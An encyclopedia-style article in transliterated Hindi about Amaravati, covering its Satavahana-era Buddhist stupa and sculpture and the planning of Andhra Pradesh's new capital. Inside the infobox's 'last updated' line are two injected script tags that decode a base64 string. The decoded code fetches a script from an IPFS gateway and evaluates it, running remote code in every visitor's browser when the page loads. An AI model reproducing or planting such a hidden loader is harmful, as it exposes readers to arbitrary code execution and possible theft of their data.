अमरावती (राजधानी)

chitr:Disamb2.jpg amaravati

ek bahuvikalpi shabd hai any arthoan ke lie dekhean:- amaravati (bahuvikalpi)

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amaravati (rajadhani)
gautam buddh, amaravati|200px|center
vivaran	aandhr pradesh rajy ki prastavit rajadhani hai. guantoor zile mean krishnaa nadi ke dahine tat par sthit yah nagar satavahan rajaoan ke shasanakal mean hindoo sanskriti ka kendr tha.
rajy	aandhr pradesh
zila	guantoor
bhaugolik sthiti	16° 32′ 27.6″ uttar, 80° 30′ 54″ poorv
sanbandhit lekh	haidarabad, telangana	adhikarik bhasha	telugu
vahan panjiyan sankhya	AP-07
any janakari	buddh ki moortiyoan ko manav akriti ke bajay pratikoan ke dvara gadha gaya hai, jisase pata chalata hai ki amaravati shaili, mathura shaili aur gandhar shaili se purani hai. yah yoonani prabhav se poornataya mukt thi.
adyatan‎	17:05, 13 aktoobar 2017 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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amaravati (aangrezi: Amaravati) aandhr pradesh rajy ki prastavit rajadhani hai. bharat ke pradhanamantri nareandr modi ne udandarayan palam ilake mean 22 aktoobar 2015 ko nianv ka patthar rakha tha. guantoor aur vijayava da ka mahanagariy kshetr mila kar amaravati mahanagar kshetr ka nirman kiya jayega. yah andhr pradesh ke guantoor zile mean krishnaa nadi ke dahine tat par sthit yah nagar satavahan rajaoan ke shasanakal mean hindoo sanskriti ka kendr tha. isaka prachin nam dhanyaghat ya dhanyakatak athava dharanikot hai. krishnaa nadi ke tat par base hone se is sthan ka b da mahattv tha kyoanki samudr se krishnaa nadi se hokar vyaparik jahaz yahaan pahuanchate the. yahaan se bhari matra mean ahat sikke (panch markd) jo sabase purane haian, mile haian.

itihas

dhammapad atthakatha mean ullekh hai ki buddh apane kisi poorv janm mean sumedh namak ek brahman kumar ke roop mean is nagar mean paida hue the. ashok ki mrityu ke bad se taqariban char shatabdiyoan tak dakshin bharat mean satavahanoan ka shasan raha. aandhravanshiy satavahan naresh shatakarni pratham ne lagabhag 180 ee.poo. amaravati ko apani rajadhani banaya. satavahan naresh brahman hote hue bhi mahayan mat ke poshak the aur unhian ke shasanakal mean amaravati ka prasiddh bauddh stoop bana, jo terahavian shatabdi tak bauddh yatriyoan ke akarshan ka kendr bana raha. mool stoop ghantakar tha. stoop ki ooanchaee sau phut thi. adhar se shikhar tak takshit shila-patt lagaye gaye the. is prakar ka alankaran anyatr nahian milata. chini yatri yuvanachvaang ne us sthan ke bare likha tha ki baiktriya ke samast bhavanoan ki shan-shauqat isamean nihit thi. buddh ke jivan ki kathaoan ke drishy un par utkirn the. amaravati stoop lagabhag dvitiy shatabdi eesa poorv mean karnal kalin maikeanji ne hi sarvapratham is stoop ka pata lagaya tha.

prachin aandhr ki rajadhani

krishnaa nadi ke tat par avasthit, prachin aandhr ki rajadhani hai. aandhr vansh satavahan naresh shatakarni ne sanbhavat 180 eesvi poorv ke lagabhag is sthan par apani rajadhani sthapit ki thi. satavahan naresh brahman hote hue bhi bauddh hinayan mat ke poshak the aur unhian ke shasanakal mean amaravati ka prakhyat bauddh stoop bana tha jo 13vian sadi tak anek bauddh anuyayiyoan ke akarshan ka keandr bana raha. is stoop ki vastukala aur moortikari machi aur bharahut ki kala ke saman hi suandar saral aur paramotkrisht hai aur sansar ki dharmik moortikala mean usaka vishisht sthan mana jata hai. buddh ke jivan ki kathaoan ke chitr do moortiyoan ke roop mean pradarshit haian, yahaan ke stoop par saik doan ki sankhya mean utkirn the. ab yah stoop bhi nasht ho gaya hai kiantu usaki moortikari ke avashesh sangrahalay mean surakshit haian. dhay katak ki nikatavarti paha diyoan evan shriparvat ya nagarjunikod namak sthan tha, jahaan bauddh darshanik nagarjun kaphi samay tak rahe the. aandhr vansh ke pashchat amaravati mean kee sadiyoan tak ikshvaku rajaoan ka shasan raha. unhoanne is nagari ko chho d kar nagarjunikod vijayapur ko apani rajadhani banaya. amaravati apane samriddhi kal mean prasiddh vyaparik nagari thi. samudr se krishnaa nadi hokar anek vyaparik jalayan yahaan pahuanchate the. vastav mean isaki samriddhi tatha kala ka ek karan is ka vyapar bhi tha.

telangana ke alag hone ke bad

satavahan kal mean yah prasiddh saanskritik evan arthik keandr tha. telangana ke alag ho jane se haidarabad ab telangana ki rajadhani hai. isalie aandhr pradesh ke dvara amaravati ko apani rajadhani banaya gaya hai. ‘hamari mitti, hamara jal aur hamari amaravati’ ke nare ke sath amaravati ko ‘pipuls kaipital’ (jan ki rajadhani) nam diya gaya hai. amaravati ko siangapur ki tarj par banaya ja raha hai. nee rajadhani mean navaratn ka k aaunsept rakha gaya hai. isake tahat n aaulej siti, phaineansiyal siti, helth siti, ilektr aaunik siti, jastis siti, toorijm siti, gavarnameant siti, sports siti evan ejukeshanal siti banane ki koshish hogi. bharat mean pahali bar kisi rajy ki rajadhani ko poorv niyojit tarike se vikasit kiya ja raha hai, yah ek ati mahattvakaankshi yojana hai. keandr sarakar ne bhi aandhr pradesh ko har sanbhav madad dene ki ghoshana ki hai. is yojana ke jarie aitihasik, rajanitik, dharmik evan saanskritik virasat ke bavajood najarandaj hue is shahar ko duniya mean nee pahachan milegi.

nee rajadhani ka praroop evan parikalpana

• 1 aprail, 2015 ko aandhr pradesh sarakar dvara amaravati ko apani nee rajadhani ghoshit kiya gaya.
• amaravati vijayava da evan guantoor ke madhy krishnaa nadi ke kinare sthit hai.
• amaravati shahar ko svayanbhoo shivaliang vale prasiddh amareshvar mandir se amaravati nam mila hai.
• prachin kal mean satavahan vansh ke shasanakal mean amaravati prasiddh saanskritik evan arthik keandr tha.
• satavahan shasakoan ke samay amaravati mean prasiddh bauddh stoop ka nirman karavaya gaya tha, jo terahavian shatabdi tak anek bauddh yatriyoan ke akarshan ka keandr tha.
• amaravati ek prasiddh vyaparik nagar bhi tha. samudr se krishnaa nadi hokar anek vyaparik jalapot yahaan pahuanchate the.
• aandhr pradesh ki nee rajadhani amaravati ke vikas ke lie ek pradhikaran, ‘kaipital rijan devalapameant ath aauriti’ (CRDA) ka gathan kiya gaya hai.
• rajadhani kshetr ka kul vistar 7420 varg kimi hai. isamean rajadhani shahar kshetr 122 varg kimi tatha kor kaipital kshetr (mukhy rajadhani kshetr) 16.959 varg kimi hai.
• isake lie kul 33,000 ek d bhoomi laiand puliang skim ke madhyam se kisanoan se li gee hai. isamean kul 17 gaanv, jinamean 14 tulur mandal evan 3 managalagiri mandal shamil haian.
• laiand puliang skim ke tahat kisan apani ichchha se jamin deange aur unhean, isake badale shahar mean vikasit jamin di jaegi.
• 8 disanbar, 2014 ko amaravati ko vikasit karane ke lie mastar plan taiyar karane ke lie aandhr pradesh sarakar ne siangapur ke sath samajhauta kiya tha.
• siangapur ki do kanpaniyaan surabana iantaraneshanal kansalteant tatha juraang kansalteant praivet limited, rajadhani kshetr ke lie mastar plan taiyar kareangi.
• julaee, 2015 mean siangapur sarakar ne kor kaipital eriya ke lie mastar plan aandhr pradesh sarakar ko sauanp diya.
• kor kaipital eriya ka vistar 16.959 varg kimi hoga jo rajadhani shahar ke uttari hisse mean sthit hoga. isaka vikas paanch charanoan mean kiya jaega.
• amaravati ko ‘jan rajadhani’ (People’s Capital) nam diya gaya hai. is rajadhani shahar ko ‘smart, harit evan tikaoo shahar’ (Smart, Green and Sustainable) banaya jaega.
• amaravati ko smart siti banane ke lie 6 ki phaiktars (Key Factors) nirdharit kie ge haian-

1. svachchh evan harit (Clean and Green),
2. gunavattapoorn rahan-sahan (Quality Living)
3. vishvastariy adharabhoot dhaancha (World Class Infrastructure),
4. sabake lie rojagar evan ghar (Jobs and Homes for all),
5. kushal sansadhan prabandhan (Efficient Resource Management) evan
6. pahachan aur dharohar (Identity and Heritage)

• amaravati ko ek taraph atyadhunik shahar banae jane ki koshish ho rahi hai, vahian doosari taraph usaki aitihasikata evan prachinata ko barakarar rakhane ke lie h dappa evan mohanajod do ki tarj par grid pranali ko apanaya ja raha hai. s dake sidhi disha mean ek-doosare ko samakon par katati huee nagar ko anek vargakar athava chaturbhujakar khandoan mean vibhajit kareangi.
• vishvastariy nadi kinare sthit rajadhani banae jane ke sath-sath oorjadaksh, harit shahar evan audyogik keandr ke roop mean amaravati ko vikasit kiya jaega.
• amaravati ko rojagaraparak evan uchch audyogik keandr ke roop mean vikasit kiya jaega. isake lie toorijm hab, phood prosesiang hab, vailyoo eded ikon aaumik hab, malti m aaudal lajistik hab, egro prosesiang hab, lait iandastriyal saport hab, haivi iandastriyal hab evan heritej seantar sthapit kie jaeange.
• rajadhani kshetr mean 250 kimi. kshetr mean dharmik evan paryatan sarkit vikasit kiya jaega.
• kor kaipital eriya mean uchch shreni ki parivahan suvidha ka vikas kiya jaega.
• metro rel netavark – 12 kimi.
• bas raipid netavark – 15 kimi.
• daun taun rod – 7 kimi.
• arateriyal evan sab arateriyal rod – 26 kimi.
• kalektar rod – 53 kimi.
• baik evan v aauk ve – 300 kimi.
• iantaranal rod netavark – 1000 kimi.
• shahar mean pravesh karane ke sthan par amaravati getave ka nirman kiya gaya hai. shahar agaman par hi shahar ki bhavyata evan gaurav ki jhalak getave ke pas mil jaegi.
• amaravati shahar ka mahattvapoorn kshetr gavarnameant kor hai, is sthan par vidhayi evan prashasanik bhavan nirmit hoange.
• kaipital siti ka hriday sthal amaravati taun daun hai. yahaan vyaparik evan vanijyik gatividhiyaan sanchalit ki jaeangi.
• krishnaa nadi ke kinare amaravati vataraphraant sthit hoange. yahaan kainal park, b aautanikal garden, sivik plaja adi sthapit kie ja sakate haian taki logoan ko svachchh vatavaran evan aram talab sairagah mil sake.
• amaravati ke vatavaran ko svachchh evan suandar banae rakhane ke lie 40 pratishat kshetr khula evan harit rakha jaega.
• amaravati shahar ko eest kost par getave aauph iandiya ke roop mean sthapit kiya jaega.
• amaravati se sate char neshanal haive, ek neshanal vatar haive, relave ka graiand root, eyaraport evan si-port, isaki arthik mahatta ko badhane mean mahattvapoorn bhoomika nibha sakate haian.
• jnatavy hai ki amaravati ka chayan keandr sarakar ki hriday yojana (Heritage City Development and Augmentation) ke tahat bhi kiya ja chuka hai.
• aandhr pradesh sarakar dvara kaimbrij vishvavidyalay ke sath amaravati mean kaimbrij vishvavidyalay kaianpas sthapit kie jane ka samajhauta kiya gaya hai.
• ullekhaniy hai ki 2 joon, 2014 ko aandhr pradesh se vibhajit hokar telangana naya rajy bana. ab haidarabad telangana ki rajadhani ban gee hai lekin 10 varshoan tak donoan rajyoan ki sanyukt rajadhani haidarabad hi hogi.

kor kaipital kshetr vibhajan

prayukt bhoomi	kshetr (hekteyar)	pratishat
vikasit bhoomi	1449.29	85.55
gramin bastiyaan	29.40	1.74
tapoo	182.13	10.75
krishnaa nadi ka kshetr	31.80	1.88
jal kshetr	1.43	0.08
kul	1694.65	100

vastukala aur moortikala

amaravati stoop ghantakriti mean bana hai. is stoop mean pashan ke sthan par sangamaramar ka prayog kiya gaya hai. stoop ke avashesh hi bache haian. isake bache-kuche avashesh british sangrahalay, landan, rashtriy sangrahalay, kolakata aur chennee sangrahalay mean dekhe ja sakate haian. in avasheshoan ke adhar par kaha ja sakata hai ki amaravati mean vastukala aur moortikala ki sthaniy maulik shaili vikasit huee thi. yahaan se prapt moortiyoan ki komalata evan bhav-bhangimaean darshaniy haian. pratyek moorti ka apana akarshan hai. kamal pushp ka aankan is b de svabhavik roop se hua hai. anek drishyoan ka sath-sath aankan is kal ke amaravati ke shilp ki pramukh visheshata mani jati hai. buddh ki moortiyoan ko manav akriti ke bajay pratikoan ke dvara gadha gaya hai, jisase pata chalata hai ki amaravati shaili, mathura shaili aur gandhar shaili se purani hai. yah yoonani prabhav se poornataya mukt thi. isamean koee sandeh nahian hai ki jis samay amaravati ka stoop apani akshunn avastha mean raha hoga, us samay vah dakshin bharat ke moorti shilp ka apana dhang ka atyant bhavy udaharan raha hoga. amaravati moorti kala shaili, jo dakshin-poorvi bharat mean lagabhag doosari shatabdi ee.poo. se tisari shatabdi ee. tak satavahan vansh ke shasanakal mean phali-phooli. yah apane bhavy ubharadar, bhitti-chitroan ke lie jani jati hai. jo sansar mean kathatmak moortikala ke sarvashreshth udaharan haian. andhr vansh ke pashchath amaravati par kee shatabdiyoan tak ikshvaku rajaoan ka shasan raha. unhoanne us nagari ko chho dakar nagarjunakoanda ya vijayapur ko apani rajadhani banaya.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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bahari k diyaan

• aandhr pradesh ki nee rajadhani ‘amaravati’ ke shilanyas samaroh ke avasar par pradhanamantri ke sanbodhan ka mool path

sanbandhit lekh

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